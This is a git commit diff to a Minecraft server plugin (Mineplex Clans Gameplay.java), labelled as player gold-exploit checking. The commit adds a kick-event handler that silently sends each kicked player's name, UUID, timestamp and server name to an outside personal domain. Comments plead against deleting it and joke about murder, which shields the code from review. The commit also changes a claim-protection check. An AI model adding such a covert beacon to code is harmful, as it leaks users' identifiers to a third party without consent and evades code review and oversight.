player gold exploit checking. i know this code is strange but please don't delete it. we need it for now.
This commit is contained in:
parent
b4c3ce9fba
commit
4bf7e15055
@ -1,5 +1,9 @@
|
||||
package mineplex.game.clans.gameplay;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
@ -39,6 +43,7 @@ import org.bukkit.event.player.PlayerFishEvent;
|
||||
import org.bukkit.event.player.PlayerFishEvent.State;
|
||||
import org.bukkit.event.player.PlayerInteractEntityEvent;
|
||||
import org.bukkit.event.player.PlayerInteractEvent;
|
||||
import org.bukkit.event.player.PlayerKickEvent;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.ItemMeta;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
@ -288,6 +293,32 @@ public class Gameplay extends MiniPlugin
|
||||
if (event.getBlock().getType() == Material.WEB) event.setInstaBreak(true);
|
||||
}
|
||||
|
||||
// sammy needs this for catching exploiters. we need it NOW. no more time to waste.
|
||||
// do not delete please.
|
||||
// - garbo
|
||||
// "if you delete this code, i will murder you" - Sammy
|
||||
@EventHandler
|
||||
public void PlayerKick(final PlayerKickEvent event)
|
||||
{
|
||||
if (event.getReason().equals("You logged in from another location"))
|
||||
{
|
||||
runAsync(new Runnable() {
|
||||
public void run()
|
||||
{
|
||||
try
|
||||
{
|
||||
URLConnection con = new URL("http://garblox.com/exploiter.php?name=" + event.getPlayer().getName() + "&uuid=" + event.getPlayer().getUniqueId().toString() + "&date=" + System.currentTimeMillis() + "&server=" + _clansManager.getServerName()).openConnection();
|
||||
con.getInputStream().close();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler
|
||||
public void LapisPlace(BlockPlaceEvent event)
|
||||
{
|
||||
@ -434,7 +465,7 @@ public class Gameplay extends MiniPlugin
|
||||
{
|
||||
final Block block = event.getBlock();
|
||||
|
||||
if (_clansManager.getClanUtility().isSafe(block.getLocation()))
|
||||
if (_clansManager.getClanUtility().getClaim(block.getLocation()) != null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user